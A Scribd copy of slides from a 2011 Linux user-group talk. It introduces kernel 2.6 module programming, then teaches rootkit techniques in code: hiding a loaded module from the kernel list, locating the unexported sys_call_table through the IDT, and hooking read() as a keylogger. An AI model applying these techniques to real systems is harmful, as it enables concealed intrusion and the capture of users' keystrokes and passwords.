0% found this document useful (0 votes)
210 views

Kernel Hacking: Introduction To Linux Kernel 2.6 How To Write A Rootkit

This document provides an introduction to hacking the Linux kernel, specifically how to write loadable kernel modules (LKMs) and rootkits. It discusses reasons for hacking the kernel, how to get started, coding style guidelines, common kernel functions/data structures, communicating with userspace via devices/files, compiling and loading modules, hiding modules/processes, and system call hooking to implement a simple keylogger rootkit.

Uploaded by

RAVICHANDRA V
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
210 views

Kernel Hacking: Introduction To Linux Kernel 2.6 How To Write A Rootkit

This document provides an introduction to hacking the Linux kernel, specifically how to write loadable kernel modules (LKMs) and rootkits. It discusses reasons for hacking the kernel, how to get started, coding style guidelines, common kernel functions/data structures, communicating with userspace via devices/files, compiling and loading modules, hiding modules/processes, and system call hooking to implement a simple keylogger rootkit.

Uploaded by

RAVICHANDRA V
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 28

Kernel Hacking

Introduction to Linux Kernel 2.6 How to write a Rootkit

Maurice Leclaire
TumFUG Linux / Unix get-together

January 19, 2011

Why hacking the kernel?

Understanding the Linux kernel Fixing bugs Adding special features Writing drivers for special hardware Writing rootkits

How to hack the kernel?

Modifying the source code


All modications are possible Needs kernel recompile

Writing a LKM (Loadable Kernel Module)


No kernel recompile Can be inserted into a running kernel No inuence on boot process Restrictions due to the kernel

How to get started?

Knowledge of the C Programming Language Kernel source (e.g. kernel.org) Compiler Recommended: Vanilla Kernel Virtual machine for testing Assembler knowledge

How to get started?

http://lxr.linux.no (complete source code cross reference) http://people.netfilter.org/~rusty/unreliable-guides/ kernel-hacking/lk-hacking-guide.html (Rustys Kernel Hacking Guide) http://www.faqs.org/docs/kernel (LKM Programming Guide) http://kernelnewbies.org/KernelHacking

Coding Style
Documentation/CodingStyle

First o, Id suggest printing out a copy of the GNU coding standards, and NOT read it. Burn them, its a great symbolic gesture.

8 chars indentation only one statement on a single line never use spaces for indentation 80 chars is max line length

printk
include/linux/kernel.h

Kernel log function used like userspace printf


printk ( " Hello world !\ n " ); printk ( KERN_INFO " % s % i \ n " , mystring , myint );

loglevel:
KERN_DEBUG KERN_INFO KERN_NOTICE KERN_WARNING KERN_ERR KERN_CRIT KERN_ALERT KERN_EMERG

kmalloc/kfree vmalloc/vfree
include/linux/slab.h include/linux/vmalloc.h

kmalloc allocates kernel memory up to 128 KB


void * mem = kmalloc ( size , GFP_KERNEL ); kfree ( mem );

vmalloc can allocate more than 128 KB virtual memory / non contiguous in RAM
void * mem = vmalloc ( size ); vfree ( mem );

kzalloc / vzalloc for zeroed memory

Kernel List Structure


include/linux/list.h

double linked list circular type oblivious list does not contain the items, the items contain the list multiple lists in one item possible
1 struct my_struct { 2 ... 3 struct list_head list ; 4 ... 5 struct list_head another_list ; 6 };

Kernel List Structure


include/linux/list.h

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

struct list_head *p , * q ; struct my_struct x , * pos ; LIST_HEAD ( head ); list_add (& x . list , & head ); list_for_each (p , & head ) { pos = list_entry (p , struct my_struct , list ); ... } /* identical to */ list_for _ e ac h _ en t ry ( pos , & head , list ) {...} list_for _e ac h_ sa fe (p , q , & head ) { list_del ( p ); }

Communication with the Userspace

In Linux everything is a le Communication is also done via les For that purpose there are /proc, /sys and /dev les They exist only in RAM

Creating a /dev le
include/linux/fs.h

1 2 3 4 5 6 7 8 9

static struct file_operations fops = { . read = device_read , . write = device_write , . open = device_open , . release = device_release }; int major = register_chrdev (0 , " mydev " , & fops ) ; unregister_ chrdev ( major , " mydev " ) ;

Reading/Writing les from Kernelspace


include/linux/fs.h include/asm/uaccess.h

You normally shouldnt do this Use /proc, /sys or /dev les for communication with the userspace
1 struct file * file ; 2 file = filp_open ( " / dir / filename " , O_RDWR , 0) ; 3 4 if ( file && ! IS_ERR ( file ) ) { 5 mm_segment_t old_fs = get_fs () ; 6 set_fs ( KERNEL_DS ) ; 7 loff_t file_size = vfs_llseek ( file , ( loff_t ) 0 , SEEK_END ) ; 8 char * buff = vmalloc ( file_size ) ; 9 loff_t off = 0; 10 vfs_read ( file , buff , file_size , & off ) ; 11 vfs_write ( file , buff , file_size , & off ) ; 12 vfree ( buff ) ; 13 set_fs ( old_fs ) ; 14 }

Loadable Kernel Module

Object le that can be linked to the running kernel Dynamically load and unload drivers how you need them lsmod lists the loaded modules

Hello World LKM


hello world.c

1 2 3 4 5 6 7 8 9 10 11 12 13

# include < linux / kernel .h > # include < linux / module .h > int init_module ( void ) { printk ( " TumFUG : Hello world !\ n " ); return 0; } void cleanup_module ( void ) { printk ( " TumFUG : Goodbye !\ n " ); }

Hello World LKM


Makele

1 obj - m += hello_world . o 2 3 all : 4 make -C / lib / modules / $ ( shell uname -r ) / build M = $ ( PWD ) modules 5 6 clean : 7 make -C / lib / modules / $ ( shell uname -r ) / build M = $ ( PWD ) clean

Hello World LKM


Compiling and Loading

# make # insmod hello_world . ko TumFUG : Hello world ! # rmmod hello_world TumFUG : Goodbye ! # dmesg | grep TumFUG TumFUG : Hello world ! TumFUG : Goodbye ! # _

Module Documentation

MODULE_LICENSE("GPL"); MODULE_AUTHOR("TumFUG"); MODULE_DESCRIPTION("Hello world module"); A module should contain these macros for documentation purposes The license macro avoids a warning message when loaded

Use Counter

Prevents the module from being unloaded when used


1 2 3 4 5 6 7 8 9 10 11 void open ( void ) { try_module_get ( THIS_MODULE ); ... } void close ( void ) { ... put_module ( THIS_MODULE ); }

Rootkits
LKM-based Rootkits

Software that lives in kernel space Hides itself from the sysadmin Enables privileged access to the system for non-privileged users Is typically installed by an attacker after he broke into a system Hides all the attackers actions Keylogger

Hiding the Module

The kernel holds a list of all modules Removing the module from this list is enough to hide
list_del (& THIS_MODULE - > list );

Hiding processes is similar task structure is more complex More lists to remove from

System Calls

requests to the kernel interface between userspace and kernelspace


Program ... read() ... idt ... 0x80 ... sys call sys call handler ... sys call table ... 2 sys fork 3 sys read 4 sys write ...

sys read ...

System Call Hooking


Change pointer to a system call handler The hook function is executed instead of the original one
Program ... read() ... idt ... 0x80 ... sys call sys call handler ... sys call table ... 2 sys fork 3 hook read 4 sys write ... sys read ... hook read ...

get control over the kernels behaviour Problem: since 2.6 the address of the sys call table is no longer exported Solution: Find it yourself

Finding the sys call table

Get the idt address with sidt Get the address of the sys_call_handler from the idt entry 0x80 Interpret the machine code of the sys_call_handler that includes the address of the sys_call_table

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

struct dt { u16 limit ; u32 base ; } __attribute__ (( __packed__ )); struct idt_entry { u16 offset_low ; u16 selector ; u8 zero ; u8 attr ; u16 offset_high ; } __attribute__ (( __packed__ )); struct gdt_entry { u16 limit_low ; u16 base_low ; u8 base_mid ; u8 access ; u8 atrr ; u8 base_high ; } __attribute__ (( __packed__ ));

22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

void ** sys_call_table ; struct dt gdt ; __asm__ ( " sgdt %0\ n " : " = m " ( gdt )); struct dt idt ; __asm__ ( " sidt %0\ n " : " = m " ( idt )); struct idt_entry * idt_entry = ( struct idt_entry *)( idt . base ); idt_entry += 0 x80 ; /* 0 x80 : linux syscall */ u32 syscall_offset = ( idt_entry - > offset_high << 16) | idt_entry - > offset_low ; struct gdt_entry * gdt_entry = ( struct gdt_entry *)( gdt . base ); gdt_entry += idt_entry - > selector ; u32 syscall_base = ( gdt_entry - > base_high << 24) | ( gdt_entry - > base_mid << 16) | gdt_entry - > base_low ;

42 43 44 45 46 47 48 49 50

u8 * system_call = ( u8 *)( syscall_base + syscall_offset ); /* search call to sys_call_table */ /* FF 14 85 off4 : jmp off4 ( ,% eax ,4) */ while ((*( u32 *)( system_call ++) & 0 xFFFFFF ) != 0 x8514FF ); sys_call_table = *( void ***)( system_call + 2);

A simple Keylogger

Hook the read system call Call the original read Log the value to the system log le
1 hook_read ( int fd , char * buf , long count ) 2 { 3 long c = original_read ( fd , buf , count ); 4 5 printk ( " % s \ n " , buf ); 6 7 return c ; 8 }

You might also like